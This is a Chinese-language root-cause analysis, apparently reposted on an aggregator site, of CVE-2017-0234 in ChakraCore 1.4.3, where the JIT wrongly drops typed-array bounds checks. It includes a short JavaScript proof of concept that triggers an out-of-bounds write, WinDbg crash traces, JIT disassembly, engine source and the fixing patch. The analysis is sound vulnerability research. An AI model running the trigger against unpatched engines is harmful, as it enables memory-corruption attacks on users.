[聚合文章] CVE-2017-0234

JavaScript 2018-01-24 17 阅读

CVE-2017-0234Chakra 引擎在进行 JIT 代码优化的时候优化过度,去掉了数组边界检查而导致的漏洞。

首先在 github 上找到对应的有漏洞的 ChakraCore 版本,可以在 release-note 里搜索 CVE-2017-0234 ,发现:

v1.4.4
This patch release of ChakraCore 1.4 includes the following security fixes:
 
Change to address CVE-2017-0229, CVE-2017-0223, CVE-2017-0224, CVE-2017-0252, CVE-2017-0230, CVE-2017-0234, CVE-2017-0235, CVE-2017-0236, CVE-2017-0228, CVE-2017-0238, CVE-2017-0266 #2959
 

那么最后一个有漏洞的版本就是 v1.4.3 ,在 release 版里提供了二进制文件和源代码文件, binary 文件包含了如下内容:

arm
    ch.exe
    ch.pdb
    ChakraCore.dll
    ChakraCore.pdb
x64
    ch.exe
    ch.pdb
    ChakraCore.dll
    ChakraCore.pdb
x86
    ch.exe
    ch.pdb
    ChakraCore.dll
    ChakraCore.pdb
 

其中 ch.exe 就是 chakracore 的可执行文件,可以直接解释执行 .js 文件, ch.pdb 是符号文件,也可以用源代码手动编译,可以进行源码调试。

poc 代码如下:

function write(begin,end,step,num) {
 
    for(var i=begin;i<end;i+=step) view[i]=num;
}
var buffer =  new ArrayBuffer(0x10000);
var view   =  new Uint32Array(buffer);
write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,1851880825);
 

cmd 中运行 ch.exe :

C:\Users\seviezhou>C:\Users\seviezhou\Desktop\ChakraCore-binaries\x64\ch.exe
 
Usage: ch.exe [-v|-version] [-h|-help|-?] <source file>
Note: [flaglist] is not supported in Release builds; try a Debug or Test build to enable these flags.
        -v|-version             Displays version info
        -h|-help|-?             Displays this help message
 
C:\Users\seviezhou>C:\Users\seviezhou\Desktop\ChakraCore-binaries\x64\ch.exe -v
ch.exe version 1.4.3.0
chakracore.dll version 1.4.3.0
 
C:\Users\seviezhou>
 

可知当前版本 v1.4.3.0 ,用法是 ch.exe <js file>

接下来就可以用 windbgChakraCore 进行调试,首先在 gflag.exe 中对 ch.exe 开启 page heapheap taggingstack trace database

win7 上用 windbg 打开 ch.exe 得到崩溃:

(2ff0.1c44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00000000`075b014a 893c93          mov     dword ptr [rbx+rdx*4],edi ds:00000002`0ac90038=????????
 

但在 win10 上似乎不会产生崩溃,所以接下来还是手动编译,使用 VS2015 编译源文件,在 win10 上产生崩溃:

0:002> g
(13d4.b74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
000000e1`c66f015a 46892c8e        mov     dword ptr [rsi+r9*4],r13d ds:000000e1`865b0038=????????
0:002> k
Child-SP          RetAddr           Call Site
000000d8`c631daa0 00007fff`26edd69a 0xe1`c66f015a
000000d8`c631db50 00007fff`26ede429 chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 6218]
000000d8`c631db90 00007fff`26ed019c chakracore!Js::InterpreterStackFrame::DoLoopBodyStart+0x629 [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 6026]
000000d8`c631dc90 00007fff`26ec28c7 chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart<1,1>+0x13c [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 5790]
000000d8`c631dcf0 00007fff`26f6c1bf chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopStart<0,1>+0x397 [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 5692]
000000d8`c631dd40 00007fff`26ee7895 chakracore!Js::InterpreterStackFrame::ProcessProfiled+0x3ef [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterhandler.inl @ 49]
000000d8`c631ddb0 00007fff`26ee2179 chakracore!Js::InterpreterStackFrame::Process+0x585 [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 3478]
 

由栈回溯可知是 interpreterstackframe.cpp 这个文件中的函数出现了问题, DoLoopBodyStart 中调用了 CallLoopBody ,最后执行了 JIT 代码导致了崩溃,相关代码如下:

LoopHeader const * InterpreterStackFrame::DoLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, const bool doProfileLoopCheck, const bool isFirstIteration)
{
...
    else
    {
        AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
        newOffset = this->CallLoopBody(entryPointInfo->jsMethod);
    }
...
}
 

CallLoopBody 的参数就是 JIT 代码的地址,在 LoopEntryPointInfo 结构体偏移 0x18 处:

00000069`40c38000 00007fff21542ee8 chakracore!Js::LoopEntryPointInfo::`vftable'
00000069`40c38008 0000000000000000 
00000069`40c38010 0000000000000000 
00000069`40c38018 0000006a40e40000   // JIT代码地址
00000069`40c38020 0000000000000403 
00000069`40c38028 000000613fbabff0 
00000069`40c38030 0000000000000000 
 

InterpreterStackFrame::CallLoopBody :

InterpreterStackFrame::CallLoopBody(JavascriptMethod address)
{
#ifdef _M_IX86
    void *savedEsp = NULL;
    __asm
    {
        // Save ESP
        mov savedEsp, esp
 
        // 8-byte align frame to improve floating point perf of our JIT'd code.
        and esp, -8
 
        // Add an extra 4-bytes to the stack since we'll be pushing 3 arguments
        push eax
    }
#endif
 
#if defined(_M_ARM32_OR_ARM64)
    // For ARM we need to make sure that pipeline is synchronized with memory/cache for newly jitted code.
    // Note: this does not seem to affect perf, but if it was, we could add a boolean isCalled to EntryPointInfo
    //       and do ISB only for 1st time this entry point is called (potential working set regression though).
    _InstructionSynchronizationBarrier();
#endif
    uint newOffset = ::Math::PointerCastToIntegral<uint>(
        CALL_ENTRYPOINT_NOASSERT(address, function, CallInfo(CallFlags_InternalFrame, 1), this));   // 漏洞发生点
 
#ifdef _M_IX86
    _asm
    {
        // Restore ESP
        mov esp, savedEsp
    }
#endif
    return newOffset;
}
 

this->CallLoopBody(entryPointInfo->jsMethod); 和漏洞发生点下断点,由 poc 代码可知, write 函数中的循环生成了 JIT 代码,在调用 write(0,0x4000,1,0x1234); 不会有问题,而在调用第二次 write 时发生了越界, JIT 代码如下:

000000a2`34760000 48b8f8b6403399000000 mov rax,993340B6F8h
000000a2`3476000a 488b00          mov     rax,qword ptr [rax]
000000a2`3476000d 4881c0301c0000  add     rax,1C30h
000000a2`34760014 0f8088030000    jo      000000a2`347603a2
000000a2`3476001a 483be0          cmp     rsp,rax
000000a2`3476001d 0f8e7f030000    jle     000000a2`347603a2
000000a2`34760023 0f1f4000        nop     dword ptr [rax]
000000a2`34760027 0f1f4000        nop     dword ptr [rax]
000000a2`3476002b 6690            xchg    ax,ax
000000a2`3476002d 4c894c2420      mov     qword ptr [rsp+20h],r9
000000a2`34760032 4c89442418      mov     qword ptr [rsp+18h],r8
000000a2`34760037 4889542410      mov     qword ptr [rsp+10h],rdx
000000a2`3476003c 48894c2408      mov     qword ptr [rsp+8],rcx
000000a2`34760041 4855            push    rbp
...
000000a2`34760120 488b7238        mov     rsi,qword ptr [rdx+38h]
000000a2`34760124 49bbf8b6403399000000 mov r11,993340B6F8h
000000a2`3476012e 493b23          cmp     rsp,qword ptr [r11]
000000a2`34760131 0f8ee5010000    jle     000000a2`3476031c
000000a2`34760137 898f7c390900    mov     dword ptr [rdi+9397Ch],ecx
000000a2`3476013d ffc1            inc     ecx
000000a2`3476013f 453bca          cmp     r9d,r10d
000000a2`34760142 7d3c            jge     000000a2`34760180
000000a2`34760144 4d8bde          mov     r11,r14
000000a2`34760147 4d8beb          mov     r13,r11
000000a2`3476014a 49c1ed30        shr     r13,30h
000000a2`3476014e 4983fd01        cmp     r13,1
000000a2`34760152 0f85d6010000    jne     000000a2`3476032e
000000a2`34760158 458beb          mov     r13d,r11d
000000a2`3476015b 46892c8e        mov     dword ptr [rsi+r9*4],r13d  // 溢出点
000000a2`3476015f 4503c8          add     r9d,r8d
000000a2`34760162 71c0            jno     000000a2`34760124
 

溢出时 rsi 是数组基地址, r9 是数组索引,显然是索引过大导致了溢出,可以看到数组缓冲区内有第一次 write 填进去的值 0x1234 :

0:002> r
rax=000100003000000e rbx=000000993340cb58 rcx=0000000000000001
rdx=000000a1344f2940 rsi=000000a134720000 rdi=000000a1344a47c4
rip=000000a23476015b rsp=000000a13449d540 rbp=000000a13449d5e0
 r8=0000000000010000  r9=000000003000000e r10=0000000040000010
r11=000100006e617579 r12=000000a13449da30 r13=000000006e617579
r14=000100006e617579 r15=0001000040000010
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
000000a2`3476015b 46892c8e        mov     dword ptr [rsi+r9*4],r13d ds:000000a1`f4720038=????????
0:002> dq 000000a134720000 l5
000000a1`34720000  00001234`00001234 00001234`00001234
000000a1`34720010  00001234`00001234 00001234`00001234
000000a1`34720020  00001234`00001234
 

看函数调用流程,根据栈回溯信息可知,在不调用 JIT 代码时,调用关系如下:

chakracore!Js::InterpreterStackFrame::InterpreterHelper
 chakracore!Js::InterpreterStackFrame::Process
  chakracore!Js::InterpreterStackFrame::ProcessProfiled
   chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopBodyStart
    chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart
     chakracore!Js::InterpreterStackFrame::DoLoopBodyStart
 

InterpreterHelper 中调用 Process() 函数, Process 函数处理当前执行 js 代码中的单次循环,在 Process 内返回 ProcessProfiled() 函数, ProcessProfiled 是一个宏定义的函数,指向了 INTERPRETERLOOPNAME 这个函数。

ProcessProfiled 函数处理循环,由宏定义,实际上指向了 InterpreterStackFrame::INTERPRETERLOOPNAME 函数,这个函数处理 bytecode ,将 bytecode 使用对应的函数处理,这个循环涉及到的主要有:

DEF2_WMS(BRCMem,                  BrLt_A,                     JavascriptOperators::Less)
DEF2_WMS(BRCMem,                  BrEq_A,                     JavascriptOperators::Equal)
DEF2_WMS(A2toA1Mem,               Add_A,                      JavascriptMath::Add)
DEF2_WMS(IP_TARG,                 ProfiledLoopBodyStart,      OP_ProfiledLoopBodyStart)
DEF2_WMS(IP_TARG,                 ProfiledLoopStart,          OP_ProfiledLoopStart)
 

在没有 JIT 代码时,每次循环都会被 OP_ProfiledLoopBodyStart 处理,每次 currentLoopCounter 都会加一,然后调用 ProfiledLoopBodyStart 。在 LoopEntryPointInfo 结构体偏移 0xd0 的地方是 currentLoopCounter 当值为 0x97 的时候就会把循环转换成 JIT 执行。

template <LayoutSize layoutSize, bool profiled>
const byte * InterpreterStackFrame::OP_ProfiledLoopBodyStart(const byte * ip)
{
    uint32 C1 = m_reader.GetLayout<OpLayoutT_Unsigned1<LayoutSizePolicy<layoutSize>>>(ip)->C1;
 
    if(profiled || isAutoProfiling)
    {
        this->currentLoopCounter++;   // 加1
    }
 
    if (profiled)
    {
        OP_RecordImplicitCall(C1);
    }
 
    (this->*(profiled ? opProfiledLoopBodyStart : opLoopBodyStart))(C1, layoutSize, false /* isFirstIteration */);
    return m_reader.GetIP();
}
 
template<bool InterruptProbe, bool JITLoopBody>
void InterpreterStackFrame::ProfiledLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, bool isFirstIteration)
{
    Assert(Js::DynamicProfileInfo::EnableImplicitCallFlags(GetFunctionBody()));
 
    if (InterruptProbe)
    {
        this->DoInterruptProbe();
    }
 
#if ENABLE_TTD
    if(SHOULD_DO_TTD_STACK_STMT_OP(this->scriptContext))
    {
        this->scriptContext->GetThreadContext()->TTDLog->UpdateLoopCountInfo();
    }
#endif
 
    if (!JITLoopBody || this->IsInCatchOrFinallyBlock())
    {
        // For functions having try-catch-finally, jit loop bodies for loops that are contained only in a try block,
        // not even indirect containment in a Catch or Finally.
        return;
    }
 
    LoopHeader const * loopHeader = DoLoopBodyStart(loopNumber, layoutSize, false, isFirstIteration);  // 没有JIT则返回null
    Assert(loopHeader == nullptr || this->m_functionBody->GetLoopNumber(loopHeader) == loopNumber);
    if (loopHeader != nullptr)
    {
        // We executed jitted loop body, no implicit call information available for this loop
        uint currentOffset = m_reader.GetCurrentOffset();
 
        if (!loopHeader->Contains(currentOffset) || (m_reader.PeekOp() == OpCode::ProfiledLoopEnd))
        {
            // Restore the outer loop's implicit call flags
            scriptContext->GetThreadContext()->SetImplicitCallFlags(this->savedLoopImplicitCallFlags[loopNumber]);
        }
        else
        {
            // We bailout from the loop, just continue collect implicit call flags for this loop
        }
    }
}
 

通过下断点调试可知 array 缓冲区地址为 000000b7735c0000 ,可以看到,当处于 JIT 代码内时, 000000b7735c0260 之前已经填入了 0x1234 ,也就是说,在循环了300次之后,解释引擎开始生成了 JIT 代码,并且之后的赋值都在 JIT 中完成。

0:002> 
000000b8`7360015b 46892c8e        mov     dword ptr [rsi+r9*4],r13d ds:000000b7`735c0260=00000000
 
第一次使用JIT代码赋值时的数组内存:
000000b7`735c0238 0000123400001234 
000000b7`735c0240 0000123400001234 
000000b7`735c0248 0000123400001234 
000000b7`735c0250 0000123400001234 
000000b7`735c0258 0000123400001234 
000000b7`735c0260 0000000000000000 
000000b7`735c0268 0000000000000000 
000000b7`735c0270 0000000000000000 
 

DoLoopBodyStart 中有如下代码, loopInterpretCount0x96 ,当 loopHeader->interpretCount 也就是 currentLoopCounter0x97 的时候会进入如下的判断中:

const uint loopInterpretCount = GetFunctionBody()->GetLoopInterpretCount(loopHeader);
if (loopHeader->interpretCount > loopInterpretCount)   // 进入
{
    if (this->scriptContext->GetConfig()->IsNoNative())
    {
        return nullptr;
    }
 
    if (!fn->DoJITLoopBody())
    {
        return nullptr;
    }
 
#if ENABLE_NATIVE_CODEGEN
    if (entryPointInfo != NULL && entryPointInfo->IsNotScheduled())
    {
        GenerateLoopBody(scriptContext->GetNativeCodeGenerator(), fn, loopHeader, entryPointInfo, fn->GetLocalsCount(), this->m_localSlots);   // 生成JIT代码
    }
#endif
}
 

GenerateLoopBody 函数生成 JIT 代码,调用的是 NativeCodeGenerator::GenerateLoopBody :

JsLoopBodyCodeGen * workitem = this->NewLoopBodyCodeGen(fn, entryPoint, loopHeader);  // work对象
entryPoint->SetCodeGenPending(workitem);
...  
workitem->SetJitMode(ExecutionMode::FullJit);   // 设置ExecutionMode为fulljit
AddToJitQueue(workitem, /*prioritize*/ true, /*lock*/ true);  // 加入JIT队列
 

加入队列后,就会有单独的线程去把循环变成 JIT 代码,有了 JIT 后,第二次调用 write 时函数流程为:

chakracore!Js::InterpreterStackFrame::InterpreterHelper
 chakracore!Js::InterpreterStackFrame::Process
  chakracore!Js::InterpreterStackFrame::ProcessProfiled
   chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopStart
    chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart
     chakracore!Js::InterpreterStackFrame::DoLoopBodyStart
      chakracore!Js::InterpreterStackFrame::CallLoopBody
       JIT Code
 

省去了循环计数。

根据 github 上关于 CVE-2017-0234 的修补,出问题的代码如下:

if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
    if (isProfilableStElem ||
        !instr->IsDstNotAlwaysConvertedToInt32() ||
        ( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
          baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
          !instr->IsDstNotAlwaysConvertedToNumber()
        )
       )
    {
        eliminatedLowerBoundCheck = true;
        eliminatedUpperBoundCheck = true;
        canBailOutOnArrayAccessHelperCall = false;
    }
}
 

isProfilableStElem 的值为 true 导致进入了 if 判断,并且赋值 eliminatedLowerBoundCheckeliminatedUpperBoundChecktrue ,去掉了边界检查。在 GlobOpt::OptArraySrc 下断点,当 currentLoopCounter0x97 的时候进入了 JIT 代码的生成过程,断在了 GlobOpt::OptArraySrc 函数中,调用栈如下:

chakracore!GlobOpt::OptArraySrc+0x8d6
chakracore!GlobOpt::OptInstr+0xa1b
chakracore!GlobOpt::OptBlock+0x8d9
chakracore!GlobOpt::ForwardPass+0xb2f
chakracore!GlobOpt::Optimize+0x36f
chakracore!Func::TryCodegen+0x4ca
chakracore!Func::Codegen+0x103
chakracore!NativeCodeGenerator::CodeGen+0xde4
chakracore!NativeCodeGenerator::Process+0x1dd 
chakracore!JsUtil::BackgroundJobProcessor::Process+0x62
chakracore!JsUtil::BackgroundJobProcessor::Run+0x3da
chakracore!JsUtil::BackgroundJobProcessor::StaticThreadProc+0xf4 
chakracore!invoke_thread_procedure+0x2c
chakracore!thread_start<unsigned int (__cdecl*)(void * __ptr64)>+0x93
 

在单独线程中调用了 NativeCodeGenerator::CodeGen 生成了 JIT 代码,然后对代码使用 GlobOpt 类进行优化,在 JIT 代码生成后被后台线程 FunctionBody::SetLoopBodyEntryPoint 加入到 LoopEntryPointInfo 结构体中,下次循环执行时就会执行 JIT

对应修改:

 -            eliminatedLowerBoundCheck = true;
 -            eliminatedUpperBoundCheck = true;
 -            canBailOutOnArrayAccessHelperCall = false;
 +            // Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB),
 +            // check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds
 +            // checks in jitted code.
 +            if (!GetIsAsmJSFunc())    //判断是否是asmjs函数
 +            {
 +                IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd();
 +                if (idxOpnd)
 +                {
 +                    StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym;
 +                    Value * idxValue = FindValue(idxSym);
 +                    IntConstantBounds idxConstantBounds;
 +                    if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds))
 +                    {
 +                        BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType);
 +                        int32 upperBound = idxConstantBounds.UpperBound();
 +                        int32 lowerBound = idxConstantBounds.LowerBound();
 +                        if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
 +                        {
 +                            eliminatedLowerBoundCheck = true;    // 如果上界小于0x100000000也就是4GB则可以去掉边界检查
 +                            eliminatedUpperBoundCheck = true;
 +                            canBailOutOnArrayAccessHelperCall = false;
 +                        }
 +                    }
 +                }
 +            }
 +            else     // 如果是asmjs函数可去掉边界检查
 +            {
 +                eliminatedLowerBoundCheck = true;
 +                eliminatedUpperBoundCheck = true;
 +                canBailOutOnArrayAccessHelperCall = false;
 +            }
 

增加了对是否使用 asm.js 的判断,并且在对边界检查进行优化时检查了边界。

感谢 exp-sky 的指导。

注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。